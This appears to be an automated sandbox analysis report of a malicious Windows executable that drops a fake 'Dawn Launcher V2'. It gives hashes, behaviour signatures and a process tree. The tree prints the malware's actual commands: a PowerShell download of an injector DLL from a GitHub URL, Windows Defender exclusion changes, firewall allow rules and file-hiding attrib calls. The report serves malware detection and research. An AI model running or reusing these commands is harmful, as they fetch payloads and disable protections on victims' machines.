Analysis

  • max time kernel
    5s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2024, 19:22

General

  • Target

    aa947ac87e8151f7a183a3ce9b0d5860.exe

  • Size

    14.2MB

  • MD5

    aa947ac87e8151f7a183a3ce9b0d5860

  • SHA1

    02a6e9b5306695b60e58ff01ea8accc57759d6df

  • SHA256

    ca1cabde17679a02f29582e8e15a59936bb6aea4c54793e1e01e1c2305c8b6a0

  • SHA512

    1d77c6550e4426b9127f5887fa0b9294535bbca37e8814b2753b43b8f6e011584e3fd91917dc01b8606ea70457032f92cf6206eadef0437b9f0da50b3ddc28cd

  • SSDEEP

    196608:Zu/SB9ssPSSBsElKV1bIQWfjnXVnvOlRusma7glv2Xnr6swPGOkB2bilY2nw:ug9soFplSMnF87glvQmvPlbyY

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/SInject2.dll

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe
    "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2088
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
      2⤵
        PID:1228
      • C:\Windows\SysWOW64\explorer.exe
        "C:\Windows\System32\explorer.exe" C:\Users\Admin\AppData\Roaming\Dawn.exe
        2⤵
          PID:1604
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
        1⤵
        • Sets file to hidden
        • Views/modifies file attributes
        PID:1940
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
          PID:1208
          • C:\Users\Admin\AppData\Roaming\Dawn.exe
            "C:\Users\Admin\AppData\Roaming\Dawn.exe"
            2⤵
              PID:872
              • C:\Users\Admin\AppData\Local\Temp\tmp3717.tmpDawn Launcher V2.exe
                "C:\Users\Admin\AppData\Local\Temp\tmp3717.tmpDawn Launcher V2.exe"
                3⤵
                  PID:3060
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"
                  3⤵
                    PID:768
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE
                    3⤵
                    • Modifies Windows Firewall
                    PID:1788
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE
                    3⤵
                    • Modifies Windows Firewall
                    PID:1720
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\inj.bat" "
                    3⤵
                      PID:2832
                    • C:\Windows\SysWOW64\certutil.exe
                      certutil -encode C:\Users\Admin\AppData\Roaming\SInject1.exe C:\Users\Admin\AppData\Roaming\SInject3.bin
                      3⤵
                        PID:2620
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "powershell" Get-MpPreference -verbose
                        3⤵
                          PID:2424
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,vbs,bat,hta,lnk,dll,ps1;exit
                          3⤵
                            PID:2476
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"
                        1⤵
                        • Sets file to hidden
                        • Views/modifies file attributes
                        PID:2164
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/SInject2.dll','C:\Users\Admin\AppData\Roaming\SInject2.dll');exit
                        1⤵
                          PID:2660

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe

                                Filesize

                                388KB

                                MD5

                                7cb160b0abe15b3cea529ca00f880b63

                                SHA1

                                c620a6386f68ff31251e1fe0f774fde80d40399f

                                SHA256

                                cc594ca27a74f5c1ab71db3c980c8cb0007a23a84414f3a32ebc92ea95ec82cd

                                SHA512

                                9ab45cc406634b30dfd0686bf2f6c502a1f09f85ddd31048473ce3e7ad681296ff2aad69cbb8a2e978272a5194528d8df25336c555e5e8af15b3338808b67936

                              • C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe

                                Filesize

                                92KB

                                MD5

                                4742731bb77c1d125809906c7dafee17

                                SHA1

                                c70c2452a184ee3dbaeb5f566569bc235648844d

                                SHA256

                                93ee7f985541332f97d1379c180b31dc185ce283cb32e93115bb75650c33e370

                                SHA512

                                414563c70b97e957cfbc76d344dd64e8a67bdadd606a59178a0b96f80778c42ffaad7e4d4e58dfefbb5982a699165a0ba4d171d006345e79937780d7b63a40b9

                              • \Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe

                                Filesize

                                649KB

                                MD5

                                dd17771ebc61382ea1d84832cd2d886a

                                SHA1

                                e2ea1805181ee8beb5d717e6679a3eada8b46d66

                                SHA256

                                9c818d0262c7d1c2ec2c1271ceed8bbb6259341f3d880337afaea0dd772e322e

                                SHA512

                                56089fb66283b771d2e0f7674624c418c0b7d41bf7430df8965207a2bdbffda8ee862913892f0a8da7cfa208e864f3fdc64336c46f1094fb29f1d34154df528d

                              • \Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe

                                Filesize

                                382KB

                                MD5

                                023866645753eaaf44d90d52b1318774

                                SHA1

                                494b387fbf69c9217c7a59dff4c583c58ae97087

                                SHA256

                                073e485754cba379c158a1e74cb9d38980cd7aa2bf209b3b43e96b8112a67644

                                SHA512

                                f0f6e62a36fe8180354af223ea7851eb2933267b0b1da8a6d84d3737156df168ffe6f0da0674f77bf68a1203375828dc0bf72ae4351ffedb3f1a0bc0b80a82be

                              • memory/872-119-0x0000000073EA0000-0x000000007458E000-memory.dmp

                                Filesize

                                6.9MB

                              • memory/872-256-0x0000000005530000-0x0000000005570000-memory.dmp

                                Filesize

                                256KB

                              • memory/872-232-0x0000000005530000-0x0000000005570000-memory.dmp

                                Filesize

                                256KB

                              • memory/872-214-0x0000000073EA0000-0x000000007458E000-memory.dmp

                                Filesize

                                6.9MB

                              • memory/872-121-0x00000000009F0000-0x0000000001826000-memory.dmp

                                Filesize

                                14.2MB

                              • memory/2088-29-0x0000000076F10000-0x0000000076F12000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-49-0x0000000076F50000-0x0000000076F52000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-48-0x0000000076F40000-0x0000000076F42000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-50-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-54-0x0000000076F50000-0x0000000076F52000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-65-0x0000000076F70000-0x0000000076F72000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-14-0x0000000076EE0000-0x0000000076EE2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-78-0x0000000076F90000-0x0000000076F92000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-81-0x0000000076FA0000-0x0000000076FA2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-86-0x0000000140000000-0x0000000141F88000-memory.dmp

                                Filesize

                                31.5MB

                              • memory/2088-88-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-94-0x0000000076FB0000-0x0000000076FB2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-92-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-79-0x0000000076FA0000-0x0000000076FA2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-109-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-76-0x0000000076F90000-0x0000000076F92000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-74-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-73-0x0000000076F90000-0x0000000076F92000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-72-0x0000000076F80000-0x0000000076F82000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-70-0x0000000076F80000-0x0000000076F82000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-69-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-66-0x0000000076F80000-0x0000000076F82000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-63-0x0000000076F70000-0x0000000076F72000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-61-0x0000000076F70000-0x0000000076F72000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-60-0x0000000076F60000-0x0000000076F62000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-15-0x0000000076EF0000-0x0000000076EF2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-56-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-55-0x0000000076F60000-0x0000000076F62000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-52-0x0000000076F50000-0x0000000076F52000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-19-0x0000000076EF0000-0x0000000076EF2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-46-0x0000000076F40000-0x0000000076F42000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-44-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-43-0x0000000076F40000-0x0000000076F42000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-40-0x0000000076F30000-0x0000000076F32000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-38-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-37-0x0000000076F30000-0x0000000076F32000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-34-0x0000000076F20000-0x0000000076F22000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-32-0x0000000076F20000-0x0000000076F22000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-31-0x0000000076F10000-0x0000000076F12000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-17-0x0000000076EF0000-0x0000000076EF2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-27-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-26-0x0000000076F10000-0x0000000076F12000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-23-0x0000000076F00000-0x0000000076F02000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-21-0x0000000076F00000-0x0000000076F02000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-42-0x0000000076F30000-0x0000000076F32000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-20-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-58-0x0000000076F60000-0x0000000076F62000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-12-0x0000000076EE0000-0x0000000076EE2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-10-0x0000000140000000-0x0000000141F88000-memory.dmp

                                Filesize

                                31.5MB

                              • memory/2088-9-0x0000000076EE0000-0x0000000076EE2000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-129-0x0000000140000000-0x0000000141F88000-memory.dmp

                                Filesize

                                31.5MB

                              • memory/2088-36-0x0000000076F20000-0x0000000076F22000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-25-0x0000000076F00000-0x0000000076F02000-memory.dmp

                                Filesize

                                8KB

                              • memory/2088-120-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2088-128-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/2320-1-0x00000000010B0000-0x0000000001EE6000-memory.dmp

                                Filesize

                                14.2MB

                              • memory/2320-116-0x0000000073F30000-0x000000007461E000-memory.dmp

                                Filesize

                                6.9MB

                              • memory/2320-67-0x0000000073F30000-0x000000007461E000-memory.dmp

                                Filesize

                                6.9MB

                              • memory/2320-0-0x0000000073F30000-0x000000007461E000-memory.dmp

                                Filesize

                                6.9MB

                              • memory/2424-273-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2424-272-0x0000000002960000-0x00000000029A0000-memory.dmp

                                Filesize

                                256KB

                              • memory/2424-277-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2424-276-0x0000000002960000-0x00000000029A0000-memory.dmp

                                Filesize

                                256KB

                              • memory/2424-271-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2476-278-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2476-274-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2476-275-0x0000000002B60000-0x0000000002BA0000-memory.dmp

                                Filesize

                                256KB

                              • memory/2476-279-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2476-280-0x000000006E380000-0x000000006E92B000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2660-249-0x00000000028B0000-0x00000000028F0000-memory.dmp

                                Filesize

                                256KB

                              • memory/2660-255-0x000000006E510000-0x000000006EABB000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2660-248-0x000000006E510000-0x000000006EABB000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2660-251-0x00000000028B0000-0x00000000028F0000-memory.dmp

                                Filesize

                                256KB

                              • memory/2660-252-0x000000006E510000-0x000000006EABB000-memory.dmp

                                Filesize

                                5.7MB

                              • memory/2660-250-0x00000000028B0000-0x00000000028F0000-memory.dmp

                                Filesize

                                256KB

                              • memory/3060-202-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-233-0x0000000140000000-0x0000000141F88000-memory.dmp

                                Filesize

                                31.5MB

                              • memory/3060-231-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-228-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-226-0x0000000140000000-0x0000000141F88000-memory.dmp

                                Filesize

                                31.5MB

                              • memory/3060-216-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-234-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-197-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-191-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-180-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-152-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-173-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-163-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB

                              • memory/3060-143-0x0000000076D30000-0x0000000076ED9000-memory.dmp

                                Filesize

                                1.7MB